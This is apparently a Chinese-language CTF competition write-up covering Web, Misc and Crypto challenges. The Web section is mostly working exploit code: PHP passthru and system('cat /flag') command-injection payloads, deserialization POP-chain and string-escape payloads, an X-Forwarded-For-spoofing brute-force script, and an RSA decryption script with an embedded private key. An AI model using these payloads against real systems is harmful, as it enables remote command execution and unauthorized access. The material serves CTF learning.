Web
小猿口算签到重生版
编写自动化脚本获取flag
import requests
import re
import concurrent.futures
import time
TARGET_URL = "http://example.com" # 替换为实际目标URL
def solve_challenge():
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/json"
}
expr = ""
while not expr:
try:
response = session.get(f"{TARGET_URL}/generate", headers=headers, timeout=2)
expr = response.json().get("expression", "")
except:
time.sleep(0.1)
with concurrent.futures.ThreadPoolExecutor() as executor:
future_to_expr = {}
start_time = time.time()
while True:
future = executor.submit(calculate, expr)
future_to_expr[future] = expr
next_future = executor.submit(get_next_expression, session, headers)
expr = next_future.result()
for future in concurrent.futures.as_completed(future_to_expr):
expr = future_to_expr.pop(future)
answer = future.result()
if submit_answer(session, headers, answer):
return
elapsed = time.time() - start_time
if elapsed > 1:
print(f"处理速度: {len(future_to_expr) / elapsed:.1f} 表达式/秒")
start_time = time.time()
def get_next_expression(session, headers):
while True:
try:
response = session.get(f"{TARGET_URL}/generate", headers=headers, timeout=1)
return response.json().get("expression", "")
except:
time.sleep(0.05)
def calculate(expr):
try:
safe_expr = re.sub(r"[^0-9+\-*/().]", "", expr)
result = eval(safe_expr)
if isinstance(result, float) and result.is_integer():
result = int(result)
return str(result)
except Exception as e:
return "0"
def submit_answer(session, headers, answer):
try:
payload = {"user_input": answer}
response = session.post(
f"{TARGET_URL}/verify",
json=payload,
headers=headers,
timeout=1
)
result = response.json()
if result.get("flag"):
print(f"\n成功获取flag: {result['flag']}")
return True
except Exception as e:
pass
return False
if __name__ == "__main__":
solve_challenge()
函数重生版
打开题目,rce,ban了很多东西
替换命令?i=passthru(‘ls /’);
继续查找flag文件?i=passthru(‘nl /tmp/f???.sh’);
pop之我又双叒叕重生了
打开题目
分析:
- 反序列化时,若对象包含
__wakeup()
,则自动调用(如A1
)。 A1::__wakeup()
调用$this->a1->get_flag()
。- 设置
$a1
为A2
对象,触发A2::get_flag()
。 A2::get_flag()
尝试拼接$this->a2
(字符串操作),若$a2
是对象,则触发其__toString()
(如A3
)。A3::__toString()
调用$this->a3->fun()
。- 设置
$a3
为A4
对象,最终触发A4::fun()
构造pop链:
$obj = new A1()
$obj->a1 = new A2()
(触发A1::__wakeup()
时调用get_flag()
)$obj->a1->a2 = new A3()
(在A2::get_flag()
中触发__toString()
)$obj->a1->a2->a3 = new A4()
(在A3::__toString()
中触发fun()
)- 序列化代码:
<?php
class A1 { public $a1; }
class A2 { public $a2; }
class A3 { public $a3; }
class A4 { public $a4; }
// 构建对象链
$o = new A4(); // 最终触发fun()的对象
$p = new A3();
$p->a3 = $o; // A3触发__toString()时调用A4的fun()
$q = new A2();
$q->a2 = $p; // A2触发get_flag()时调用A3的__toString()
$r = new A1();
$r->a1 = $q; // A1触发__wakeup()时调用A2的get_flag()
// 生成序列化字符串
echo serialize($r);
?>
运行后得到序列化字符串:
O:2:”A1″:1:{s:2:”a1″;O:2:”A2″:1:{s:2:”a2″;O:2:”A3″:1:{s:2:”a3″;O:2:”A4″:1:{s:2:”a4″;N;}}}}
后接入admin
完整传参:?wlaq=O:2:”A1″:1:{s:2:”a1″;O:2:”A2″:1:{s:2:”a2″;O:2:”A3″:1:{s:2:”a3″;O:2:”A4″:1:{s:2:”a4″;N;}}}}&2025=admin
这里屏蔽了flag具体内容,查看源码得到完整flag
busy_search
考察信息收集 崩坏,明日方舟,鸣潮处皆有flag注释片段,拼接得到flag
lottery签到重生版
编写破解代码
import requests
import time
import math
import re
from bs4 import BeautifulSoup
# ======== 配置区 ========
BASE_URL = "http://27.25.151.40:33713"
GET_PRIZES_URL = f"{BASE_URL}/get-prizes"
SPIN_URL = f"{BASE_URL}/spin"
GRAND_PRIZE_NAMES = ["Grand Prize", "特等奖", "Flag", "大奖", "一等奖"] # 多种可能的目标名称
MAX_ATTEMPTS = 1000
# =========================
class WheelCracker:
def __init__(self):
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/json",
"X-Forwarded-For": "127.0.0.1" # 绕过可能的IP限制
})
self.prize_count = 0
self.per_angle = 0.0
self.prizes = []
self.fallback_prizes = [
{"title": "Grand Prize", "image": "flag.jpg"},
{"title": "二等奖", "image": "gift2.png"},
{"title": "三等奖", "image": "gift3.png"}
]
self.error_codes = {
-1: "PRIZE_NOT_FOUND",
-2: "HTTP_ERROR",
-3: "JSON_PARSE_FAIL",
-4: "UNKNOWN_ERROR"
}
def fetch_prizes(self):
"""获取奖品列表和角度参数"""try:
print(f"🔍 正在获取奖品列表: {GET_PRIZES_URL}")
r = self.session.get(GET_PRIZES_URL, timeout=10)
r.raise_for_status() # 触发HTTP错误异常
# 验证响应内容
if not r.text.strip():
print("⚠️ 空响应,使用备用奖品列表")
return self.use_fallback_prizes()
# 尝试解析JSON
try:
prizes = r.json()
except ValueError:
print("⚠️ JSON解析失败,尝试HTML解析")
return self.parse_html_prizes(r.text)
# 验证数据结构
if not isinstance(prizes, list):
print("⚠️ 无效数据结构,尝试提取列表")
return self.extract_prizes_from_dict(prizes)
# 空列表处理
if len(prizes) == 0:
print("⚠️ 奖品列表为空,启用备用方案")
return self.use_fallback_prizes()
# 数据清洗
self.prizes = [
p for p in prizes
if isinstance(p.get("title"), (str, int, float)) and "image" in p
]
self.prize_count = len(self.prizes)
self.per_angle = 360 / self.prize_count if self.prize_count else 0
print(f"✅ 获取到 {self.prize_count} 个奖品")
# 模糊匹配奖品名
for name in GRAND_PRIZE_NAMES:
grand_index = next((
i for i, p in enumerate(self.prizes)
if name.lower() in str(p.get("title")).lower()
), -1)
if grand_index >= 0:
print(f"🎯 找到目标奖品: {self.prizes[grand_index]['title']} (索引: {grand_index})")
return grand_index
print("⚠️ 未匹配到目标奖品名称,将使用第一个奖品作为目标")
return 0
except requests.exceptions.RequestException as e:
print(f"🚨 网络错误: {str(e)}")
return -2
except Exception as e:
print(f"❗ 未知错误: {str(e)}")
return -4
def parse_html_prizes(self, html):
"""从HTML中解析奖品列表"""print("🔍 尝试从HTML解析奖品")
soup = BeautifulSoup(html, 'html.parser')
# 查找可能的奖品元素
prize_elements = soup.find_all(class_=re.compile('prize|item|gift', re.I))
if not prize_elements:
prize_elements = soup.find_all(['li', 'div'], class_=True)
for element in prize_elements:
title = element.get_text(strip=True)
if title:
self.prizes.append({"title": title, "image": ""})
if self.prizes:
self.prize_count = len(self.prizes)
self.per_angle = 360 / self.prize_count
print(f"✅ 从HTML解析到 {self.prize_count} 个奖品")
return 0 # 返回第一个奖品索引
print("⚠️ HTML解析失败,使用备用奖品")
return self.use_fallback_prizes()
def extract_prizes_from_dict(self, data):
"""尝试从字典结构中提取奖品列表"""print("🔍 尝试从字典中提取奖品")
if 'prizes' in data:
self.prizes = data['prizes']
elif 'items' in data:
self.prizes = data['items']
elif 'data' in data and isinstance(data['data'], list):
self.prizes = data['data']
if self.prizes:
self.prize_count = len(self.prizes)
self.per_angle = 360 / self.prize_count
print(f"✅ 提取到 {self.prize_count} 个奖品")
return 0 # 返回第一个奖品索引
print("⚠️ 字典提取失败,使用备用奖品")
return self.use_fallback_prizes()
def use_fallback_prizes(self):
"""当API失效时使用内置奖品"""print("🔄 使用备用奖品列表")
self.prizes = self.fallback_prizes
self.prize_count = len(self.prizes)
self.per_angle = 360 / self.prize_count
return 0 # 返回Grand Prize索引
def direct_angle_attack(self, grand_index):
"""直接角度攻击"""# 验证参数有效性
if grand_index < 0 or grand_index >= self.prize_count:
print(f"⛔ 无效索引: {grand_index}")
return None
if self.per_angle <= 0:
print("🔧 角度参数异常,使用默认值")
self.per_angle = 36 # 默认角度
# 安全计算目标角度
try:
sector_center = grand_index * self.per_angle + self.per_angle / 2
print(f"📐 计算目标角度: {sector_center:.2f}°")
except Exception as e:
print(f"⚠️ 角度计算错误: {str(e)}")
sector_center = 30 # 默认角度
# 尝试多种弱类型值
for offset in [0, 0.1, "0", True, "true", "False", None]:
print(f"🔧 尝试偏移量: {offset} ({type(offset)})")
# 计算伪造角度
forged_angle = 5 * 360 - sector_center
if offset is not None:
forged_angle += float(offset) if isinstance(offset, (int, float)) else 0
payload = {"angle": forged_angle}
try:
print(f"🚀 发送旋转请求: angle={forged_angle:.2f}")
r = self.session.post(SPIN_URL, json=payload, timeout=10)
# 检查响应
if r.status_code != 200:
print(f"⚠️ 非200响应: {r.status_code}")
continue
# 尝试多种flag格式
flag = self.extract_flag(r.text)
if flag:
return flag
except Exception as e:
print(f"⚠️ 请求失败: {str(e)}")
return None
def brute_force_attack(self):
"""数值暴力破解"""print(f"💥 开始暴力破解 ({MAX_ATTEMPTS} 次尝试)...")
# 测试特殊值
special_values = [0, 360, 999, -1, "0", "360", "flag", "grand"]
for value in special_values:
print(f"🔍 测试特殊值: {value}")
try:
r = self.session.post(SPIN_URL, json={"angle": value}, timeout=5)
flag = self.extract_flag(r.text)
if flag:
return flag
except:
pass
# 系统角度范围
for i in range(MAX_ATTEMPTS):
angle = i % 360 + (i // 360) * 0.01
try:
if i % 50 == 0:
print(f"⏳ 尝试 #{i}: angle={angle:.2f}")
r = self.session.post(SPIN_URL, json={"angle": angle}, timeout=3)
flag = self.extract_flag(r.text)
if flag:
return flag
# 添加随机延迟避免封禁
if i % 100 == 0:
time.sleep(0.1)
except requests.exceptions.Timeout:
print("⌛ 请求超时,继续...")
except Exception as e:
print(f"⚠️ 请求失败: {str(e)}")
return None
def extract_flag(self, text):
"""提取flag(多种格式支持)"""# 常见flag格式
patterns = [
r"flag\{[^}]+\}", # flag{...}
r"FLAG-[A-Z0-9]{16}", # FLAG-XXXXXXXXXXXX
r"ctf\{[^}]+\}", # ctf{...}
r"[A-Z0-9]{31}=", # base32格式
r"picoCTF\{[^}]+\}", # picoCTF格式
]
for pattern in patterns:
match = re.search(pattern, text)
if match:
flag = match.group(0)
print(f"🎉 发现flag: {flag}")
return flag
# 检查关键词
if any(keyword in text for keyword in ["flag", "ctf", "pico", "win", "won"]):
print(f"⚠️ 发现疑似flag内容: {text[:100]}...")
return text[:150] # 返回前150个字符
return None
def run(self):
"""执行破解流程"""start_time = time.time()
print("=" * 50)
print(f"🚀 开始破解目标: {BASE_URL}")
print("=" * 50)
grand_index = self.fetch_prizes()
# 处理错误代码
if grand_index in self.error_codes:
print(f"⚠️ 错误: {self.error_codes[grand_index]}")
if grand_index == -1:
print("🔍 启用暴力破解模式")
if flag := self.brute_force_attack():
return flag
return "❌ 破解失败:无法定位奖品"
elif grand_index in (-2, -3, -4):
print("🔧 尝试使用备用奖品")
grand_index = 0 # 使用第一个奖品
print(f"🎯 目标奖品索引: {grand_index}")
# 精确角度攻击
if flag := self.direct_angle_attack(grand_index):
return flag
print("⚠️ 精确攻击失败,启用暴力破解")
# 暴力破解
if flag := self.brute_force_attack():
return flag
return "❌ 破解失败:所有尝试均未成功"
if __name__ == "__main__":
cracker = WheelCracker()
if flag := cracker.run():
print("\n" + "=" * 50)
print(f"✅ 破解成功! Flag: {flag}")
print("=" * 50)
else:
print("\n" + "=" * 50)
print("❌ 破解失败")
print("=" * 50)
u_know?
打开题目,提示有两个路由
先访问第一个/shop.php得到一串源码,反序列化
分析代码:GET 请求中获取buy参数,并使用unserialize函数将其反序列化为 PHP 数组->初始化两个礼品变量$gift1和$gift2,随后将其值替换为$anotherthing和$otherthing->检查反序列化后的数组中onething和twothing元素是否分别等于$gift1和$gift2,若相等则输出$flag1和感谢信息
这里存在php的松散比较,(==)存在类型混淆漏洞。如果$gift1和$gift2是字符串,可以让数组元素为整数0,在PHP中,字符串与0比较时,非数字字符串会被转换为0:
Exp:
<?php
$payload = [
'onething' => 0,
'twothing' => 0
];
$serialized = serialize($payload);
echo ($serialized) . "\n";
?>
序列化:a:2:{s:8:”onething”;i:0;s:8:”twothing”;i:0;},传参得到base64编码后的一半flag
继续访问第二个路由/kfc.php
继续访问/kfc.rar解压得到源码文件
<?php
class order
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class zhengcan
{
public $lbjjrj;
function __call($name, $arguments)
{
echo $this->lbjjrj->douzhi;
}
}
class tiandian
{
function __get($Attribute)
{
echo '';
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
echo "使用压缩包点单kfc.rar";
}
魔术方法触发链:
- order类的__destruct()方法会调用$this->start->helloworld()
- zhengcan类的__call()方法会在调用不存在的方法时触发,输出$this->lbjjrj->douzhi
- tiandian类的__get()方法会在访问不存在的属性时触发
Exp
<?php
// 步骤1: 定义所有需要的类(复制原始漏洞代码中的类定义)
class order
{
public $start; // 这个属性将指向zhengcan类的实例
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
// 这是触发链的起点
$this->start->helloworld();
}
}
class zhengcan
{
public $lbjjrj; // 这个属性将指向tiandian类的实例
function __call($name, $arguments)
{
// 当调用不存在的方法时触发
// 这里的$name将是"helloworld"
echo $this->lbjjrj->douzhi;
}
}
class tiandian
{
// 这个类用于触发最终的命令执行
function __get($Attribute)
{
// 原始代码中这里只是echo ''
// 但在实际攻击中,可以替换为任意代码
system('cat /flag'); // 例如:读取flag文件
}
}
// 步骤2: 创建对象实例并建立引用关系
$tian = new tiandian(); // 创建tiandian对象
$zheng = new zhengcan(); // 创建zhengcan对象
$zheng->lbjjrj = $tian; // 设置zhengcan的lbjjrj属性指向tian对象
$order = new order($zheng); // 创建order对象,传入zhengcan对象
// 步骤3: 序列化最终的对象链
$payload = serialize($order);
// 步骤4: 输出序列化结果
echo "生成的序列化字符串:\n";
echo $payload;
?>
序列化字符串:O:5:”order”:1:{s:5:”start”;O:8:”zhengcan”:1:{s:6:”lbjjrj”;O:8:”tiandian”:0:{}}}
当反序列化这个字符串时,会发生以下调用过程:
- 反序列化order对象
- 反序列化完成后,PHP 会销毁临时对象,触发order的__destruct()方法
- __destruct()方法调用$this->start->helloworld()
- 由于zhengcan类没有helloworld()方法,触发__call()方法
- __call()方法尝试访问$this->lbjjrj->douzhi
- 由于tiandian类没有douzhi属性,触发__get()方法
- 在原始代码中,__get()方法只是输出空字符串
- 现在,我们可以修改__get()方法执行任意系统命令
传入得到另一半base64编码的flag
合在一起解码包上flag头
can_u_escape
打开题目
典型的字符串逃逸,定义 filter($name) 函数:将字符串中的 “flag” 和 “php” 替换为 “hake”(替换后长度增加,因为 “hake” 比 “php” 多1个字符)
构造的注入字符串";s:4:"pass";s:8:"escaping";}
用于覆盖pass属性,编写自动化脚本使用大量”php”字符串产生28字节的长度溢出,最后使构造的注入字符串覆盖了原始pass字段
Exp
import requests
url = "http://localhost:8080/vuln.php" # 替换为实际URL
# 计算逃逸字符串长度
escape_str = '";s:4:"pass";s:8:"escaping";}' # 构造的注入字符串
escape_len = len(escape_str) # 实际长度应为28字节
# 每次替换增加1字节("php"->"hake"),需要增加的总长度 = 逃逸字符串长度
repeat_count = escape_len
# 构造payload
payload = "php" * repeat_count + escape_str
# 设置GET参数
params = {'a': payload}
# 发送请求
response = requests.get(url, params=params)
# 提取flag
if 'flag{' in response.text:
start = response.text.index('flag{')
end = response.text.index('}', start) + 1
flag = response.text[start:end]
print(f"成功获取flag: {flag}")
elif 'escaping' in response.text:
print("触发条件成功但未找到flag,请检查响应内容")
print("响应内容:", response.text)
else:
print("利用失败,请检查参数和URL")
print("响应内容:", response.text[:1000])
print(f"使用的payload: {payload}")
print(f"Payload长度: {len(payload)}")
运行
Misc
段涵涵学姐最爱的音乐
附件是个音频文件,放入Audacity一把梭
流量分析1~8
流量包放Wireshark中分析,按要求过滤各种条件,不会过滤问AI
Crypto
Base141
随波逐流一把梭
RSA你太baby了
脚本一把梭
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, PKCS1_v1_5
import base64
# 原始十六进制数据
hex_data = """
6b 4d 31 77 67 6f 43 47 4f 77 52 66 45 32 6f 46 30 6d 6a 30 77 32 6a 71 36 59 6d 6a 38 4e 6b 69 39 36 36 68 59 66 43 71 70 2b 4f 42 63 54 33 6f 7a 49 66 74 4c 74 61 44 52 79 65 45 72 53 2f 68 46 79 33 6c 38 53 6a 35 49 54 75 47 43 35 6d 55 52 50 58 41 30 4b 42 77 45 73 36 37 6c 37 69 46 37 74 39 7a 6e 54 51 4b 31 41 57 6c 74 46 5a 47 4d 36 74 62 77 6b 33 56 54 54 59 43 72 52 54 36 41 65 6a 74 79 41 6f 59 7a 70 62 76 53 79 46 4e 59 37 2b 73 62 50 74 58 77 79 41 2b 30 6a 63 43 79 61 57 32 49 41 56 63 56 77 6e 44 65 4d 38 54 6c 68 34 35 7a 6f 41 50 56 62 77 63 4f 69 57 78 55 62 79 43 4c 49 48 6b 30 72 55 58 53 76 47 39 34 33 67 50 6d 76 53 71 73 39 4b 66 6d 52 4a 5a 4b 6e 52 6c 73 62 42 47 58 44 77 5a 6f 34 38 6b 67 58 4d 52 36 5a 33 4a 54 6b 75 42 37 47 33 44 44 53 78 78 78 45 69 77 38 38 64 2f 54 78 65 6c 59 61 78 39 72 73 63 75 74 56 6a 67 35 71 48 58 6e 43 46 6c 70 47 4e 2b 7a 51 34 46 63 50 77 44 6f 52 48 58 50 79 61 52 43 5a 61 52 37 63 70 50 65 63 72 47 66 54 55 2f 2b 41 59 53 7a 4c 37 4b 76 75 6b 71 31 41 3d 3d
"""
# 移除所有非十六进制字符
clean_hex = ''.join(c for c in hex_data if c in '0123456789abcdefABCDEF')
# 将十六进制字符串转换为字节
hex_bytes = bytes.fromhex(clean_hex)
# 直接尝试将十六进制字节作为Base64字符串处理
try:
# 尝试直接解码十六进制字节(可能是Base64字符串)
ciphertext = base64.b64decode(hex_bytes)
print("Successfully decoded as Base64")
except:
# 如果失败,直接使用十六进制字节作为密文
ciphertext = hex_bytes
print("Using raw hex bytes as ciphertext")
# 正确格式的私钥
private_key_str = """-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDoJqsE20fcEWu+
WfizvGn6GN8Ae/aJxh2tjpZR7KsXYmuqdDTSmVsWXo3mnI5Z6oCGAynuc3gxHPPb
pZGjxxf0QYvjPTs7FRC3u162ph8KF7EPSMq7KvJjbBgI8qrGc4CUy2UpFWjha9EW
fDGyKBkqnjzeVvfkPdMhZajcZCp3atsvVg6yPKpH3Tum/Lo4Cf831OKbRnQKnr6H
0HSs2ECP2ZPLBtMIEUHLJ2DbM4Gul9lZ5Ecu/MZSBForWufskbdJw+5KLH0wWKpW
E3y5sWHb4N3t6azZzLcu1xweRorsUQs+5SdU8nlsF0o9aVHcsII6sJxWUj5eofv7
2/c5dykVAgMBAAECggEABUj8E7w6QpRS855wvwbHEt6GFSi9UB2mh1D7sxnEO2AO
O28x1KmRHU1BxcJCq2FfU622wqr2TYfvNUzrp+LcdL8ZRC8crheorcYiPd5CTqSD
b2mk0+YCZqkLUwjTQnlWsAyBXRITtS4TMIPbTccD66h2kklAk32k1NnPolTVcqp9
ANMgWlCwwCCnngw9ppE0S+kC7lQO/Qf/ZKMuqETEdoCMbC2AfgcyFc/AXddZ+H8J
629pWeDFQO3CPlSrGy/FM0IYA8Dmm/9c3Pf31Qy3yby+2G/Obryyl7BWTWiRIi+m
TF2n1/QCJp7yXTu3DRUffRpvBxfx2aK2chv/5PKUcQKBgQD4eYciwO3reDMM7dPT
MsECpVVJ8Nwf5EGj4H/Hu2upZ2pOygcrw9XTxw54iRQxvrXokXzX/6UOnvXq47VQ
Oq7fqBu3x1CclvJLYn3jV7Z4g7dPyo5fKTkG4PM45tIoJEJZr92va7VFVviU0U+X
83xHMvA547QmrZLJIrKe66BXKwKBgQDvLpRhvlckP0uDXTdd9bIwirlyWDq/B6cn
lbcPLpsim5Bl0q8892rEUgYAwVsOE2X8tlTEwSqRqO5RwKCKrfX+O4P2XaPhIaP+
H13ehvKIJqe9SrVoBST2PknPA3zfOHsM1mpDeWSmP3vhUPobO4iNAe5Yk7zQupJF
7KU58XJgvwKBgHy+Vm/GOCwNLmQBSmUvh+LSKl1yxLBmIeYqITyfBVAJET/5AVyh
dspZlxRAjZjjy+O0lt7CA5WxjHieVTqwG3dBqJi9QeU7iuz5x4XJVVxvlCpE4PE5
et3PNYyNpVhty7nHJx6Yjmr/XNEpvDHnFa+RDTWi8aCxZ43/E3nhhZ/9AoGAZEpL
vZBqSbCgoTx88tELHn+Msv175I348Qg98gfA1QoVyhxFjnLQOfGKwtZQr95CbWym
rrmwd9M12uHCb2PyOeAKvUsWZFgOw4ezfJNpLt3GiADDgBJoJTiJClyUB6VPM1rU
w+Yq5erIrvmdZb3YzAd7QXjxOzSAEQHhZiJvq1ECgYAeRnIejF8KXIVpnBpkVcDP
nQGbb8LcrlC3ONHQrbl6c1FCK4Ht38t+vbu32+rdSVtc+Sxcaaqxs0md6/4O6UYd
WDZuLvtpugTi8Dw/4HjPojDK1rxysCJcrxLIQlpwqsrha6sf68EraTK714Qh9nU5
DPgfC51MVmo4fKt2mhHBKg==
-----END PRIVATE KEY-----"""
# 导入私钥
private_key = RSA.import_key(private_key_str)
# 尝试使用PKCS1_OAEP解密
try:
cipher = PKCS1_OAEP.new(private_key)
plaintext = cipher.decrypt(ciphertext)
print("Decrypted with OAEP:", plaintext.decode())
except Exception as e:
print(f"OAEP decryption failed: {e}")
# 尝试使用PKCS1_v1_5解密
try:
cipher = PKCS1_v1_5.new(private_key)
plaintext = cipher.decrypt(ciphertext, None)
if plaintext:
print("Decrypted with PKCS1_v1_5:", plaintext.decode())
else:
print("PKCS1_v1_5 decryption failed (invalid padding)")
except Exception as e:
print(f"PKCS1_v1_5 decryption failed: {e}")
# 检查密钥和密文长度
key_size = private_key.size_in_bytes()
ciphertext_size = len(ciphertext)
print(f"Key size: {key_size} bytes, Ciphertext size: {ciphertext_size} bytes")
if ciphertext_size != key_size:
print("Warning: Ciphertext size does not match key size!")
# 尝试处理大小不匹配的情况
if ciphertext_size > key_size:
# 如果密文太长,尝试截取最后key_size字节
ciphertext = ciphertext[-key_size:]
print(f"Using last {key_size} bytes of ciphertext")
try:
cipher = PKCS1_OAEP.new(private_key)
plaintext = cipher.decrypt(ciphertext)
print("Decrypted with OAEP after truncation:", plaintext.decode())
except:
print("Decryption failed after truncation")
elif ciphertext_size < key_size:
# 如果密文太短,尝试填充
padded_ciphertext = b'\x00' * (key_size - ciphertext_size) + ciphertext
print(f"Padded ciphertext to {key_size} bytes")
try:
cipher = PKCS1_OAEP.new(private_key)
plaintext = cipher.decrypt(padded_ciphertext)
print("Decrypted with OAEP after padding:", plaintext.decode())
except:
print("Decryption failed after padding")